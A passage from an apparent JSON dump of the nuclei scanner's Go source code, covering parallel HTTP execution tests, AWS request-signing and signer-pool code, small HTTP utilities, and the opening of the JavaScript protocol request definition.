Check always returns true to simulate an already unresponsive host\nfunc (f *fakeHostErrorsCache) Check(string, *contextargs.Context) bool { return true }\n\n// IsPermanentErr returns false for tests\nfunc (f *fakeHostErrorsCache) IsPermanentErr(*contextargs.Context, error) bool { return false }\n\nfunc TestExecuteParallelHTTP_StopAtFirstMatch(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\n\t// server that always matches\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t_, _ = fmt.Fprintf(w, \"match\")\n\t}))\n\tdefer ts.Close()\n\n\ttemplateID := \"parallel-stop-first\"\n\treq := &Request{\n\t\tID:      templateID,\n\t\tMethod:  HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t\tPath:    []string{\"{{BaseURL}}/p?x={{v}}\"},\n\t\tThreads: 2,\n\t\tPayloads: map[string]interface{}{\n\t\t\t\"v\": []string{\"1\", \"2\"},\n\t\t},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tPart:  \"body\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"match\"},\n\t\t\t}},\n\t\t},\n\t\tStopAtFirstMatch: true,\n\t}\n\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := req.Compile(executerOpts)\n\trequire.NoError(t, err)\n\n\tvar matches int32\n\tmetadata := make(output.InternalEvent)\n\tprevious := make(output.InternalEvent)\n\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\terr = req.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\tif event.OperatorsResult != nil && event.OperatorsResult.Matched {\n\t\t\tatomic.AddInt32(&matches, 1)\n\t\t}\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int32(1), atomic.LoadInt32(&matches), \"expected only first match to be processed\")\n}\n\nfunc TestExecuteParallelHTTP_SkipOnUnresponsiveFromCache(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\n\t// server that would match if reached\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t_, _ = fmt.Fprintf(w, \"match\")\n\t}))\n\tdefer ts.Close()\n\n\ttemplateID := \"parallel-skip-unresponsive\"\n\treq := &Request{\n\t\tID:      templateID,\n\t\tMethod:  HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t\tPath:    []string{\"{{BaseURL}}/p?x={{v}}\"},\n\t\tThreads: 2,\n\t\tPayloads: map[string]interface{}{\n\t\t\t\"v\": []string{\"1\", \"2\"},\n\t\t},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tPart:  \"body\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"match\"},\n\t\t\t}},\n\t\t},\n\t}\n\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\t// inject fake host errors cache that forces skip\n\texecuterOpts.HostErrorsCache = &fakeHostErrorsCache{}\n\n\terr := req.Compile(executerOpts)\n\trequire.NoError(t, err)\n\n\tvar matches int32\n\tmetadata := make(output.InternalEvent)\n\tprevious := make(output.InternalEvent)\n\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\terr = req.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\tif event.OperatorsResult != nil && event.OperatorsResult.Matched {\n\t\t\tatomic.AddInt32(&matches, 1)\n\t\t}\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int32(0), atomic.LoadInt32(&matches), \"expected no matches when host is marked unresponsive\")\n}\n\n// TestExecuteParallelHTTP_GoroutineLeaks uses goleak to detect goroutine leaks in all HTTP parallel execution scenarios\nfunc TestExecuteParallelHTTP_GoroutineLeaks(t *testing.T) {\n\tdefer goleak.VerifyNone(t,\n\t\tgoleak.IgnoreAnyContainingPkg(\"go.opencensus.io/stats/view\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/syndtr/goleveldb\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/go-rod/rod\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/interactsh/pkg/server\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/interactsh/pkg/client\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/ratelimit\"),\n\t\tgoleak.IgnoreAnyFunction(\"github.com/syndtr/goleveldb/leveldb/util.(*BufferPool).drain\"),\n\t\tgoleak.IgnoreAnyFunction(\"github.com/syndtr/goleveldb/leveldb.(*DB).compactionError\"),\n\t\tgoleak.IgnoreAnyFunction(\"github.com/syndtr/goleveldb/leveldb.(*DB).mpoolDrain\"),\n\t\tgoleak.IgnoreAnyFunction(\"github.com/syndtr/goleveldb/leveldb.(*DB).tCompaction\"),\n\t\tgoleak.IgnoreAnyFunction(\"github.com/syndtr/goleveldb/leveldb.(*DB).mCompaction\"),\n\t)\n\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\tdefer testutils.Cleanup(options)\n\n\t// Test Case 1: Normal execution with StopAtFirstMatch\n\tt.Run(\"StopAtFirstMatch\", func(t *testing.T) {\n\t\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t_, _ = fmt.Fprintf(w, \"test response\")\n\t\t}))\n\t\tdefer ts.Close()\n\n\t\treq := &Request{\n\t\t\tID:      \"parallel-stop-first-match\",\n\t\t\tMethod:  HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t\t\tPath:    []string{\"{{BaseURL}}/test?param={{payload}}\"},\n\t\t\tThreads: 4,\n\t\t\tPayloads: map[string]interface{}{\n\t\t\t\t\"payload\": []string{\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\"},\n\t\t\t},\n\t\t\tOperators: operators.Operators{\n\t\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\t\tPart:  \"body\",\n\t\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\t\tWords: []string{\"test response\"},\n\t\t\t\t}},\n\t\t\t},\n\t\t\tStopAtFirstMatch: true,\n\t\t}\n\n\t\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\t\tID:   \"parallel-stop-first-match\",\n\t\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t\t})\n\n\t\terr := req.Compile(executerOpts)\n\t\trequire.NoError(t, err)\n\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\n\t\terr = req.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {})\n\t\trequire.NoError(t, err)\n\t})\n\n\t// Test Case 2: Unresponsive host scenario\n\tt.Run(\"UnresponsiveHost\", func(t *testing.T) {\n\t\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t_, _ = fmt.Fprintf(w, \"response\")\n\t\t}))\n\t\tdefer ts.Close()\n\n\t\treq := &Request{\n\t\t\tID:      \"parallel-unresponsive\",\n\t\t\tMethod:  HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t\t\tPath:    []string{\"{{BaseURL}}/test?param={{payload}}\"},\n\t\t\tThreads: 3,\n\t\t\tPayloads: map[string]interface{}{\n\t\t\t\t\"payload\": []string{\"1\", \"2\", \"3\", \"4\", \"5\"},\n\t\t\t},\n\t\t\tOperators: operators.Operators{\n\t\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\t\tPart:  \"body\",\n\t\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\t\tWords: []string{\"response\"},\n\t\t\t\t}},\n\t\t\t},\n\t\t}\n\n\t\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\t\tID:   \"parallel-unresponsive\",\n\t\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t\t})\n\t\texecuterOpts.HostErrorsCache = &fakeHostErrorsCache{}\n\n\t\terr := req.Compile(executerOpts)\n\t\trequire.NoError(t, err)\n\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), ts.URL)\n\n\t\terr = req.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {})\n\t\trequire.NoError(t, err)\n\t})\n\n\t// Test Case 3: Context cancellation scenario\n\tt.Run(\"ContextCancellation\", func(t *testing.T) {\n\t\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\ttime.Sleep(200 * time.Millisecond)\n\t\t\t_, _ = fmt.Fprintf(w, \"response\")\n\t\t}))\n\t\tdefer ts.Close()\n\n\t\treq := &Request{\n\t\t\tID:      \"parallel-context-cancel\",\n\t\t\tMethod:  HTTPMethodTypeHolder{MethodType: HTTPGet},\n\t\t\tPath:    []string{\"{{BaseURL}}/test?param={{payload}}\"},\n\t\t\tThreads: 3,\n\t\t\tPayloads: map[string]interface{}{\n\t\t\t\t\"payload\": []string{\"1\", \"2\", \"3\", \"4\", \"5\"},\n\t\t\t},\n\t\t\tOperators: operators.Operators{\n\t\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\t\tPart:  \"body\",\n\t\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\t\tWords: []string{\"response\"},\n\t\t\t\t}},\n\t\t\t},\n\t\t}\n\n\t\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\t\tID:   \"parallel-context-cancel\",\n\t\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t\t})\n\n\t\terr := req.Compile(executerOpts)\n\t\trequire.NoError(t, err)\n\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tctxArgs := contextargs.NewWithInput(ctx, ts.URL)\n\n\t\tgo func() {\n\t\t\ttime.Sleep(50 * time.Millisecond)\n\t\t\tcancel()\n\t\t}()\n\n\t\terr = req.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {})\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, context.Canceled, err)\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/http/signature.go",
    "content": "package http\n\nimport (\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// SignatureType is the type of signature\ntype SignatureType int\n\n// Supported values for the SignatureType\nconst (\n\tAWSSignature SignatureType = iota + 1\n\tsignatureLimit\n)\n\n// signatureTypeMappings is a table for conversion of signature type from string.\nvar signatureTypeMappings = map[SignatureType]string{\n\tAWSSignature: \"AWS\",\n}\n\nfunc GetSupportedSignaturesTypes() []SignatureType {\n\tvar result []SignatureType\n\tfor index := SignatureType(1); index < signatureLimit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toSignatureType(valueToMap string) (SignatureType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range signatureTypeMappings {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"invalid signature type: \" + valueToMap)\n}\n\nfunc (t SignatureType) String() string {\n\treturn signatureTypeMappings[t]\n}\n\n// SignatureTypeHolder is used to hold internal type of the signature\ntype SignatureTypeHolder struct {\n\tValue SignatureType\n}\n\nfunc (holder SignatureTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type of the signature\",\n\t\tDescription: \"Type of the signature\",\n\t}\n\tfor _, types := range GetSupportedSignaturesTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *SignatureTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toSignatureType(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.Value = computedType\n\treturn nil\n}\n\nfunc (holder *SignatureTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toSignatureType(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.Value = computedType\n\treturn nil\n}\n\nfunc (holder SignatureTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.Value.String())\n}\n\nfunc (holder SignatureTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.Value.String(), nil\n}\n\nvar ErrNoIgnoreList = errors.New(\"unknown signature types\")\n\n// GetVariablesNamesSkipList depending on the signature type\nfunc GetVariablesNamesSkipList(signature SignatureType) map[string]interface{} {\n\tswitch signature {\n\tcase AWSSignature:\n\t\treturn signer.AwsSkipList\n\tdefault:\n\t\treturn nil\n\t}\n}\n\n// GetDefaultSignerVars returns the default signer variables\nfunc GetDefaultSignerVars(signatureType SignatureType) map[string]interface{} {\n\tif signatureType == AWSSignature {\n\t\treturn signer.AwsDefaultVars\n\t}\n\treturn map[string]interface{}{}\n}\n"
  },
  {
    "path": "pkg/protocols/http/signer/aws-sign.go",
    "content": "package signer\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"io\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/aws/aws-sdk-go-v2/aws\"\n\tv4 \"github.com/aws/aws-sdk-go-v2/aws/signer/v4\"\n\tawsconfig \"github.com/aws/aws-sdk-go-v2/config\"\n\t\"github.com/aws/aws-sdk-go-v2/credentials\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nconst defaultEmptyPayloadHash = \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"\n\n// AWSOptions\ntype AWSOptions struct {\n\tAwsID          string\n\tAwsSecretToken string\n\tService        string\n\tRegion         string\n}\n\n// Validate Signature Arguments\nfunc (a *AWSOptions) Validate() error {\n\tif a.Service == \"\" {\n\t\treturn errors.New(\"aws service cannot be empty\")\n\t}\n\tif a.Region == \"\" {\n\t\treturn errors.New(\"aws region cannot be empty\")\n\t}\n\n\treturn nil\n}\n\n// AWS v4 signer\ntype AWSSigner struct {\n\tcreds   *aws.Credentials\n\tsigner  *v4.Signer\n\toptions *AWSOptions\n}\n\n// SignHTTP\nfunc (a *AWSSigner) SignHTTP(ctx context.Context, request *http.Request) error {\n\tif region, ok := ctx.Value(SignerArg(\"region\")).(string); ok && region != \"\" {\n\t\ta.options.Region = region\n\t}\n\tif service, ok := ctx.Value(SignerArg(\"service\")).(string); ok && service != \"\" {\n\t\ta.options.Service = service\n\t}\n\tif err := a.options.Validate(); err != nil {\n\t\treturn err\n\t}\n\t// contentHash is sha256 hash of response body\n\tcontentHash := a.getPayloadHash(request)\n\tif err := a.signer.SignHTTP(ctx, *a.creds, request, contentHash, a.options.Service, a.options.Region, time.Now()); err != nil {\n\t\treturn errkit.Wrap(err, \"failed to sign http request using aws v4 signer\")\n\t}\n\t// add x-amz-content-sha256 header to request\n\trequest.Header.Set(\"x-amz-content-sha256\", contentHash)\n\treturn nil\n}\n\n// getPayloadHash returns hex encoded SHA-256 of request body\nfunc (a *AWSSigner) getPayloadHash(request *http.Request) string {\n\tif request.Body == nil {\n\t\t// Default Hash of Empty Payload\n\t\treturn defaultEmptyPayloadHash\n\t}\n\n\t// no need to close request body since it is a reusablereadercloser\n\tbin, err := io.ReadAll(request.Body)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"aws signer: failed to read request body: %s\", err)\n\t}\n\tsha256Hash := sha256.Sum256(bin)\n\treturn hex.EncodeToString(sha256Hash[:])\n}\n\n// NewAwsSigner\nfunc NewAwsSigner(opts *AWSOptions) (*AWSSigner, error) {\n\tcredcache := aws.NewCredentialsCache(credentials.NewStaticCredentialsProvider(opts.AwsID, opts.AwsSecretToken, \"\"))\n\tawscred, err := credcache.Retrieve(context.TODO())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &AWSSigner{\n\t\tcreds:   &awscred,\n\t\toptions: opts,\n\t\tsigner:  v4.NewSigner(),\n\t}, nil\n}\n\n// NewAwsSignerFromConfig\nfunc NewAwsSignerFromConfig(opts *AWSOptions) (*AWSSigner, error) {\n\t/*\n\t\tNewAwsSignerFromConfig fetches credentials from both\n\t\t1. Environment Variables (old & new)\n\t\t2. Shared Credentials ($HOME/.aws)\n\t*/\n\tcfg, err := awsconfig.LoadDefaultConfig(context.TODO())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcredcache := aws.NewCredentialsCache(cfg.Credentials)\n\tawscred, err := credcache.Retrieve(context.TODO())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &AWSSigner{\n\t\tcreds:   &awscred,\n\t\toptions: opts,\n\t\tsigner: v4.NewSigner(func(signer *v4.SignerOptions) {\n\t\t\t// signer.DisableURIPathEscaping = true\n\t\t}),\n\t}, nil\n}\n\nvar AwsSkipList = map[string]interface{}{\n\t\"region\": struct{}{},\n}\n\nvar AwsDefaultVars = map[string]interface{}{\n\t\"region\":  \"us-east-2\",\n\t\"service\": \"sts\",\n}\n\nvar AwsInternalOnlyVars = map[string]interface{}{\n\t\"aws-id\":     struct{}{},\n\t\"aws-secret\": struct{}{},\n}\n"
  },
  {
    "path": "pkg/protocols/http/signer/signer.go",
    "content": "package signer\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// An Argument that can be passed to Signer\ntype SignerArg string\n\ntype Signer interface {\n\tSignHTTP(ctx context.Context, request *http.Request) error\n}\n\ntype SignerArgs interface {\n\tValidate() error\n}\n\nfunc NewSigner(args SignerArgs) (signer Signer, err error) {\n\tswitch signerArgs := args.(type) {\n\tcase *AWSOptions:\n\t\tawsSigner, err := NewAwsSigner(signerArgs)\n\t\tif err != nil {\n\t\t\tawsSigner, err = NewAwsSignerFromConfig(signerArgs)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\treturn awsSigner, err\n\tdefault:\n\t\treturn nil, errors.New(\"unknown signature arguments type\")\n\t}\n}\n\n// GetCtxWithArgs creates and returns context with signature args\nfunc GetCtxWithArgs(maps ...map[string]interface{}) context.Context {\n\tvar region, service string\n\tfor _, v := range maps {\n\t\tfor key, val := range v {\n\t\t\tif key == \"region\" && region == \"\" {\n\t\t\t\tregion = types.ToString(val)\n\t\t\t}\n\t\t\tif key == \"service\" && service == \"\" {\n\t\t\t\tservice = types.ToString(val)\n\t\t\t}\n\t\t}\n\t}\n\t// type ctxkey string\n\tctx := context.WithValue(context.Background(), SignerArg(\"service\"), service)\n\treturn context.WithValue(ctx, SignerArg(\"region\"), region)\n}\n"
  },
  {
    "path": "pkg/protocols/http/signerpool/signerpool.go",
    "content": "package signerpool\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nvar (\n\tpoolMutex  sync.RWMutex\n\tclientPool map[string]signer.Signer\n)\n\n// Init initializes the clientpool implementation\nfunc Init(options *types.Options) error {\n\tpoolMutex.Lock()\n\tdefer poolMutex.Unlock()\n\tif clientPool != nil {\n\t\treturn nil // already initialized\n\t}\n\tclientPool = make(map[string]signer.Signer)\n\treturn nil\n}\n\n// Configuration contains the custom configuration options for a client\ntype Configuration struct {\n\tSignerArgs signer.SignerArgs\n}\n\n// Hash returns the hash of the configuration to allow client pooling\nfunc (c *Configuration) Hash() string {\n\tbuilder := &strings.Builder{}\n\t_, _ = fmt.Fprintf(builder, \"%v\", c.SignerArgs)\n\thash := builder.String()\n\treturn hash\n}\n\n// Get creates or gets a client for the protocol based on custom configuration\nfunc Get(options *types.Options, configuration *Configuration) (signer.Signer, error) {\n\thash := configuration.Hash()\n\tpoolMutex.RLock()\n\tif client, ok := clientPool[hash]; ok {\n\t\tpoolMutex.RUnlock()\n\t\treturn client, nil\n\t}\n\tpoolMutex.RUnlock()\n\n\tclient, err := signer.NewSigner(configuration.SignerArgs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpoolMutex.Lock()\n\tclientPool[hash] = client\n\tpoolMutex.Unlock()\n\treturn client, nil\n}\n"
  },
  {
    "path": "pkg/protocols/http/utils.go",
    "content": "package http\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/rawhttp\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// dump creates a dump of the http request in form of a byte slice\nfunc dump(req *generatedRequest, reqURL string) ([]byte, error) {\n\tif req.request != nil {\n\t\t// Use a clone to avoid a race condition with the http transport\n\t\tbin, err := req.request.Clone(req.request.Context()).Dump()\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not dump request: %v\", req.request.String())\n\t\t}\n\t\treturn bin, nil\n\t}\n\trawHttpOptions := &rawhttp.Options{CustomHeaders: req.rawRequest.UnsafeHeaders, CustomRawBytes: req.rawRequest.UnsafeRawBytes}\n\tbin, err := rawhttp.DumpRequestRaw(req.rawRequest.Method, reqURL, req.rawRequest.Path, generators.ExpandMapValues(req.rawRequest.Headers), io.NopCloser(strings.NewReader(req.rawRequest.Data)), rawHttpOptions)\n\tif err != nil {\n\t\treturn nil, errkit.Wrapf(err, \"could not dump request: %v\", reqURL)\n\t}\n\treturn bin, nil\n}\n\nfunc getHTTPProjectCacheScope(requestDump []byte, scheme, host string) []byte {\n\tscheme = strings.ToLower(strings.TrimSpace(scheme))\n\thost = strings.ToLower(strings.TrimSpace(host))\n\tif scheme == \"\" || host == \"\" {\n\t\treturn requestDump\n\t}\n\n\tvar scoped bytes.Buffer\n\tscoped.Grow(len(scheme) + len(host) + len(requestDump) + 4)\n\t_, _ = scoped.WriteString(scheme)\n\t_, _ = scoped.WriteString(\"://\")\n\t_, _ = scoped.WriteString(host)\n\t_, _ = scoped.WriteString(\"\\n\")\n\t_, _ = scoped.Write(requestDump)\n\treturn scoped.Bytes()\n}\n"
  },
  {
    "path": "pkg/protocols/http/utils_test.go",
    "content": "package http\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetHTTPProjectCacheScope_SeparatesSchemeAndPort(t *testing.T) {\n\trequestDump := []byte(\"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\")\n\n\thttpScoped := getHTTPProjectCacheScope(requestDump, \"http\", \"example.com:80\")\n\thttpsScoped := getHTTPProjectCacheScope(requestDump, \"https\", \"example.com:443\")\n\n\trequire.NotEqual(t, httpScoped, httpsScoped)\n\trequire.True(t, bytes.HasSuffix(httpScoped, requestDump))\n\trequire.True(t, bytes.HasSuffix(httpsScoped, requestDump))\n}\n"
  },
  {
    "path": "pkg/protocols/http/validate.go",
    "content": "package http\n\nimport \"github.com/pkg/errors\"\n\nfunc (request *Request) validate() error {\n\tif request.Race && request.NeedsRequestCondition() {\n\t\treturn errors.New(\"'race' and 'req-condition' can't be used together\")\n\t}\n\n\tif request.Redirects && request.HostRedirects {\n\t\treturn errors.New(\"'redirects' and 'host-redirects' can't be used together\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/protocols/javascript/js.go",
    "content": "package javascript\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"maps\"\n\t\"net\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/alecthomas/chroma/quick\"\n\t\"github.com/ditashi/jsbeautifier-go/jsbeautifier\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tiputil \"github.com/projectdiscovery/utils/ip\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Request is a request for the javascript protocol\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\" json:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// description: |\n\t// ID is request id in that protocol\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID is the optional ID of the Request\"`\n\n\t// description: |\n\t//  Init is javascript code to execute after compiling template and before executing it on any target\n\t//  This is helpful for preparing payloads or other setup that maybe required for exploits\n\tInit string `yaml:\"init,omitempty\" json:\"init,omitempty\" jsonschema:\"title=init javascript code,description=Init is the javascript code to execute after compiling template\"`\n\n\t// description: |\n\t//   PreCondition is a condition which is evaluated before sending the request.\n\tPreCondition string `yaml:\"pre-condition,omitempty\" json:\"pre-condition,omitempty\" jsonschema:\"title=pre-condition for the request,description=PreCondition is a condition which is evaluated before sending the request\"`\n\n\t// description: |\n\t//   Args contains the arguments to pass to the javascript code.\n\tArgs map[string]interface{} `yaml:\"args,omitempty\" json:\"args,omitempty\"`\n\t// description: |\n\t//   Code contains code to execute for the javascript request.\n\tCode string `yaml:\"code,omitempty\" json:\"code,omitempty\" jsonschema:\"title=code to execute in javascript,description=Executes inline javascript code for the request\"`\n\t// description: |\n\t//   StopAtFirstMatch stops processing the request at first match.\n\tStopAtFirstMatch bool `yaml:\"stop-at-first-match,omitempty\" json:\"stop-at-first-match,omitempty\" jsonschema:\"title=stop at first match,description=Stop the execution after a match is found\"`\n\t// description: |\n\t//   Attack is the type of payload combinations to perform.\n\t//\n\t//   Sniper is each payload once, pitchfork combines multiple payload sets and clusterbomb generates\n\t//   permutations and combinations for all payloads.\n\tAttackType generators.AttackTypeHolder `yaml:\"attack,omitempty\" json:\"attack,omitempty\" jsonschema:\"title=attack is the payload combination,description=Attack is the type of payload combinations to perform,enum=sniper,enum=pitchfork,enum=clusterbomb\"`\n\t// description: |\n\t//   Payload concurrency i.e threads for sending requests.\n\t// examples:\n\t//   - name: Send requests using 10 concurrent threads\n\t//     value: 10\n\tThreads int `yaml:\"threads,omitempty\" json:\"threads,omitempty\" jsonschema:\"title=threads for sending requests,description=Threads specifies number of threads to use sending requests. This enables Connection Pooling\"`\n\t// description: |\n\t//   Payloads contains any payloads for the current request.\n\t//\n\t//   Payloads support both key-values combinations where a list\n\t//   of payloads is provided, or optionally a single file can also\n\t//   be provided as payload which will be read on run-time.\n\tPayloads map[string]interface{} `yaml:\"payloads,omitempty\" json:\"payloads,omitempty\" jsonschema:\"title=payloads for the webosocket request,description=Payloads contains any payloads for the current 